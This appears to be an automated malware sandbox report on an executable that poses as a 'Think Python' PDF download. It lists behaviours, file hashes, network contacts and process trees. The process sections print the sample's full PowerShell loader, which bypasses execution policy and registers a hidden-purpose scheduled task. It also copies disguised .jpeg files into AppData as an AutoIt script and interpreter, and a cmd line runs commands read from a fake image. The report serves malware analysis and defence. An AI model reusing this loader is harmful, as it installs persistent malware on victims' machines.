Analysis Overview
SHA256
a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11
Threat Level: Likely malicious
The file a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe was found to be: Likely malicious.
Malicious Activity Summary
Command and Scripting Interpreter: PowerShell
Reads user/profile data of web browsers
Executes dropped EXE
Unsigned PE
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Views/modifies file attributes
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-13 01:51
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-13 01:51
Reported
2024-06-13 01:53
Platform
win7-20240508-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe
"C:\Users\Admin\AppData\Local\Temp\a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %i in ('dir /b MyCover4.jpg') do @for /f "delims=" %j in (%i) do @%j
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c dir /b MyCover4.jpg
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -noprofile -noninteractive -ExecutionPolicy Bypass sleep 2 ; try{$Lq546qzs = New-Object -ComObject Schedule.Service ; $Plqkjsd ="(Get-CimInstance -ClassName Win32_DiskDrive).Size | Measure-Object -Sum | Select-Object -ExpandProperty Sum"; $Lq546qzs.Connect() ; $MASK = $Lq546qzs.NewTask(0) ; $reginfo = $MASK.RegistrationInfo ;$reginfo.Description = '' ; $reginfo.Author = '' ; $iosdfiu5s = $MASK.Principal; $iosdfiu5s.LogonType = 3 ; $esf5s = $MASK.settings ; $esf5s.Enabled = $true ; $esf5s.StartWhenAvailable = $true ; $esf5s.Hidden = $false ; $esf5s.DisallowStartIfOnBatteries = $false ; $esf5s.StopIfGoingOnBatteries = $false ; $esf5s.MultipleInstances = 2 ; $esf5s.ExecutionTimeLimit = """PT0H""" ; $sqdf = $MASK.Triggers.Create(9); $sqdf.Enabled = $true; $sqdf.Id = """LogonTriggerId"""; $sqdf.Repetition.Interval = """PT5M"""; $sqdf.Repetition.StopAtDurationEnd = $false; $activationTime = (Get-Date).AddMinutes(3); $sqdf.StartBoundary = $activationTime.ToString('yyyy-MM-ddTHH:mm:ss'); $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent(); $sqdf.UserId = $currentUser.Name; $poqsdjkpoqj5qs5=$MASK.Triggers.Create(2) ; $poqsdjkpoqj5qs5.Enabled=$true ; $poqsdjkpoqj5qs5.Repetition.Interval="""PT10M""" ;$poqsdjkpoqj5qs5.Repetition.StopAtDurationEnd=$false ; $poqsdjkpoqj5qs5.Id="""DailyTriggerId""" ; $poqsdjkpoqj5qs5.StartBoundary = (Get-Date).AddMinutes(1).tostring('yyyy-MM-ddTHH:mm:ss'); $action_ = $MASK.Actions.Create(0) ; $action_.Path = '"""%appdata%\Microsoft\Windows\AutoIt3.exe"""' ; $action_.Arguments = '/ErrorStdOut """%appdata%\Microsoft\Windows\' + $Plqkjsd + '.au3""""'; $Lq546qzs.GetFolder("""\\""").RegisterTaskDefinition("""$Plqkjsd""", $MASK, 6 , $null, $null, 3) ;$Pllds = \"$env:APPDATA\Microsoft\Windows\"; Copy-Item MyCover2.jpeg \"$Pllds\$Plqkjsd.au3\"; Copy-Item MyCover3.jpeg \"$Pllds\AutoIt3.exe\" } Catch [System.Exception]{};"
C:\Windows\system32\attrib.exe
attrib -h -s /s /d
Network
Files
C:\Users\Admin\AppData\Local\Temp\RarSFX0\a.lnk
| MD5 | 56cc3193b2289919b689f837baeb6e6c |
| SHA1 | d50854ba733fda66cf8ce29f60312ee10c1dca89 |
| SHA256 | adcc446e1b1cd00d20c56b3dd654bef51128875a76b24903d18270b09b7da081 |
| SHA512 | 37891494577ac912291f7af92d625b4a8399137f95134506686ac3a116e4f0289d13ecb04b0d14cecc8a239f0238776780eaee1609d24ff5cffe63bbe8468e01 |
C:\Users\Admin\AppData\Local\Temp\RarSFX0\MyCover4.jpg
| MD5 | 2bca0eb97a7c0825910517162251471c |
| SHA1 | 52d878223c596cb2f130514125e427f6f87d686b |
| SHA256 | fa7b80f3d060c663691f7ede61847d7e1514145e569732af173f61e55ff6e72b |
| SHA512 | c2a5c544ac5e35e7697c420a4c63a856756b4ffa8c361e497ffc9d705d08436ed3a5c768756896e3b75100d67bc68e06b563d3f34c2e9b9fb4ff09440a0bda18 |
memory/2972-25-0x000000001B6C0000-0x000000001B9A2000-memory.dmp
memory/2972-26-0x0000000001D90000-0x0000000001D98000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\RarSFX0\MyCover3.jpeg
| MD5 | 0adb9b817f1df7807576c2d7068dd931 |
| SHA1 | 4a1b94a9a5113106f40cd8ea724703734d15f118 |
| SHA256 | 98e4f904f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b |
| SHA512 | 883aa88f2dba4214bb534fbdaf69712127357a3d0f5666667525db3c1fa351598f067068dfc9e7c7a45fed4248d7dca729ba4f75764341e47048429f9ca8846a |
C:\Users\Admin\AppData\Local\Temp\RarSFX0\MyCover2.jpeg
| MD5 | fa26096b95742e002aaa28f5add10d15 |
| SHA1 | 27411586e4b2082750df480d9725c535f86b8f4c |
| SHA256 | dce814637339057cd26d594d6b1dafad71f805d596f4c0dd3d6707136a7e4eaf |
| SHA512 | 2699af7e5435fc7b8e4b774690592f499f43a5420a005c2379ee343e038d4a5b723f0912ea1e3c03c1670ef01582ff90198010adfcf0cb263ee3115c1c75f57f |
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Readme\A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).pdf
| MD5 | a7653852d9fbc23db8d3ec5ba7afbeb3 |
| SHA1 | b58e16719ede8a0c35765e294ecfd9945d423e82 |
| SHA256 | c648b9cbe10ac1726c4dd1845413ab4841950e892e6443b99fed662618c1e1a8 |
| SHA512 | f97fc17be4dfd8ab5f662df16a808018189eeed344bf70b59bf03b1239edd33d04b631a93ac8a62676571cc16a9c0361cbb59c63283b1e223b781e28dad4024b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-13 01:51
Reported
2024-06-13 01:53
Platform
win10v2004-20240611-en
Max time kernel
97s
Max time network
151s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
Reads user/profile data of web browsers
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4992 wrote to memory of 3244 | N/A | C:\Users\Admin\AppData\Local\Temp\a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe | C:\Windows\System32\cmd.exe |
| PID 4992 wrote to memory of 3244 | N/A | C:\Users\Admin\AppData\Local\Temp\a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe | C:\Windows\System32\cmd.exe |
| PID 3244 wrote to memory of 3168 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3244 wrote to memory of 3168 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 3244 wrote to memory of 2612 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3244 wrote to memory of 2612 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3244 wrote to memory of 3856 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
| PID 3244 wrote to memory of 3856 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\attrib.exe |
Uses Task Scheduler COM API
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe
"C:\Users\Admin\AppData\Local\Temp\a7d30ea8eb070eddffb46afd3b839c4af00021f0dd33352e36ef1173502bac11.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %i in ('dir /b MyCover4.jpg') do @for /f "delims=" %j in (%i) do @%j
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c dir /b MyCover4.jpg
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -noprofile -noninteractive -ExecutionPolicy Bypass sleep 2 ; try{$Lq546qzs = New-Object -ComObject Schedule.Service ; $Plqkjsd ="(Get-CimInstance -ClassName Win32_DiskDrive).Size | Measure-Object -Sum | Select-Object -ExpandProperty Sum"; $Lq546qzs.Connect() ; $MASK = $Lq546qzs.NewTask(0) ; $reginfo = $MASK.RegistrationInfo ;$reginfo.Description = '' ; $reginfo.Author = '' ; $iosdfiu5s = $MASK.Principal; $iosdfiu5s.LogonType = 3 ; $esf5s = $MASK.settings ; $esf5s.Enabled = $true ; $esf5s.StartWhenAvailable = $true ; $esf5s.Hidden = $false ; $esf5s.DisallowStartIfOnBatteries = $false ; $esf5s.StopIfGoingOnBatteries = $false ; $esf5s.MultipleInstances = 2 ; $esf5s.ExecutionTimeLimit = """PT0H""" ; $sqdf = $MASK.Triggers.Create(9); $sqdf.Enabled = $true; $sqdf.Id = """LogonTriggerId"""; $sqdf.Repetition.Interval = """PT5M"""; $sqdf.Repetition.StopAtDurationEnd = $false; $activationTime = (Get-Date).AddMinutes(3); $sqdf.StartBoundary = $activationTime.ToString('yyyy-MM-ddTHH:mm:ss'); $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent(); $sqdf.UserId = $currentUser.Name; $poqsdjkpoqj5qs5=$MASK.Triggers.Create(2) ; $poqsdjkpoqj5qs5.Enabled=$true ; $poqsdjkpoqj5qs5.Repetition.Interval="""PT10M""" ;$poqsdjkpoqj5qs5.Repetition.StopAtDurationEnd=$false ; $poqsdjkpoqj5qs5.Id="""DailyTriggerId""" ; $poqsdjkpoqj5qs5.StartBoundary = (Get-Date).AddMinutes(1).tostring('yyyy-MM-ddTHH:mm:ss'); $action_ = $MASK.Actions.Create(0) ; $action_.Path = '"""%appdata%\Microsoft\Windows\AutoIt3.exe"""' ; $action_.Arguments = '/ErrorStdOut """%appdata%\Microsoft\Windows\' + $Plqkjsd + '.au3""""'; $Lq546qzs.GetFolder("""\\""").RegisterTaskDefinition("""$Plqkjsd""", $MASK, 6 , $null, $null, 3) ;$Pllds = \"$env:APPDATA\Microsoft\Windows\"; Copy-Item MyCover2.jpeg \"$Pllds\$Plqkjsd.au3\"; Copy-Item MyCover3.jpeg \"$Pllds\AutoIt3.exe\" } Catch [System.Exception]{};"
C:\Windows\system32\attrib.exe
attrib -h -s /s /d
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe /ErrorStdOut "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\274872407040.au3"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 14.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.90.14.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| NL | 23.62.61.97:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 97.61.62.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | borcano.org | udp |
| US | 172.67.130.2:443 | borcano.org | tcp |
| US | 8.8.8.8:53 | 2.130.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\RarSFX0\a.lnk
| MD5 | 56cc3193b2289919b689f837baeb6e6c |
| SHA1 | d50854ba733fda66cf8ce29f60312ee10c1dca89 |
| SHA256 | adcc446e1b1cd00d20c56b3dd654bef51128875a76b24903d18270b09b7da081 |
| SHA512 | 37891494577ac912291f7af92d625b4a8399137f95134506686ac3a116e4f0289d13ecb04b0d14cecc8a239f0238776780eaee1609d24ff5cffe63bbe8468e01 |
C:\Users\Admin\AppData\Local\Temp\RarSFX0\MyCover4.jpg
| MD5 | 2bca0eb97a7c0825910517162251471c |
| SHA1 | 52d878223c596cb2f130514125e427f6f87d686b |
| SHA256 | fa7b80f3d060c663691f7ede61847d7e1514145e569732af173f61e55ff6e72b |
| SHA512 | c2a5c544ac5e35e7697c420a4c63a856756b4ffa8c361e497ffc9d705d08436ed3a5c768756896e3b75100d67bc68e06b563d3f34c2e9b9fb4ff09440a0bda18 |
memory/2612-21-0x00007FFC70EC3000-0x00007FFC70EC5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_debdjfn0.a50.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2612-24-0x000001F169EE0000-0x000001F169F02000-memory.dmp
memory/2612-32-0x00007FFC70EC0000-0x00007FFC71981000-memory.dmp
memory/2612-33-0x00007FFC70EC0000-0x00007FFC71981000-memory.dmp
memory/2612-34-0x000001F16C570000-0x000001F16C59A000-memory.dmp
memory/2612-35-0x000001F16C570000-0x000001F16C594000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe
| MD5 | 0adb9b817f1df7807576c2d7068dd931 |
| SHA1 | 4a1b94a9a5113106f40cd8ea724703734d15f118 |
| SHA256 | 98e4f904f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b |
| SHA512 | 883aa88f2dba4214bb534fbdaf69712127357a3d0f5666667525db3c1fa351598f067068dfc9e7c7a45fed4248d7dca729ba4f75764341e47048429f9ca8846a |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\274872407040.au3
| MD5 | fa26096b95742e002aaa28f5add10d15 |
| SHA1 | 27411586e4b2082750df480d9725c535f86b8f4c |
| SHA256 | dce814637339057cd26d594d6b1dafad71f805d596f4c0dd3d6707136a7e4eaf |
| SHA512 | 2699af7e5435fc7b8e4b774690592f499f43a5420a005c2379ee343e038d4a5b723f0912ea1e3c03c1670ef01582ff90198010adfcf0cb263ee3115c1c75f57f |
memory/2612-42-0x00007FFC70EC0000-0x00007FFC71981000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Readme\A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).pdf
| MD5 | a7653852d9fbc23db8d3ec5ba7afbeb3 |
| SHA1 | b58e16719ede8a0c35765e294ecfd9945d423e82 |
| SHA256 | c648b9cbe10ac1726c4dd1845413ab4841950e892e6443b99fed662618c1e1a8 |
| SHA512 | f97fc17be4dfd8ab5f662df16a808018189eeed344bf70b59bf03b1239edd33d04b631a93ac8a62676571cc16a9c0361cbb59c63283b1e223b781e28dad4024b |
memory/3068-51-0x0000000008780000-0x0000000008DA8000-memory.dmp
memory/3068-61-0x0000000009AD0000-0x0000000009AEA000-memory.dmp
memory/3068-62-0x0000000009B30000-0x0000000009B66000-memory.dmp
memory/3068-63-0x000000000A1F0000-0x000000000A86A000-memory.dmp
memory/3068-64-0x0000000009C10000-0x0000000009CA6000-memory.dmp
memory/3068-65-0x0000000009BA0000-0x0000000009BC2000-memory.dmp
memory/3068-66-0x0000000009D20000-0x0000000009D86000-memory.dmp
memory/3068-67-0x000000000AE20000-0x000000000B3C4000-memory.dmp
memory/3068-68-0x0000000009CD0000-0x0000000009CEE000-memory.dmp
memory/3068-69-0x0000000009DE0000-0x0000000009E2A000-memory.dmp
memory/3068-70-0x000000000B7D0000-0x000000000BB24000-memory.dmp
memory/3068-71-0x000000000A020000-0x000000000A086000-memory.dmp
memory/3068-72-0x000000000A0C0000-0x000000000A0E2000-memory.dmp
memory/3068-73-0x000000000AC80000-0x000000000ACCC000-memory.dmp
memory/3068-74-0x000000000C910000-0x000000000CAD2000-memory.dmp
memory/3068-75-0x000000000D010000-0x000000000D53C000-memory.dmp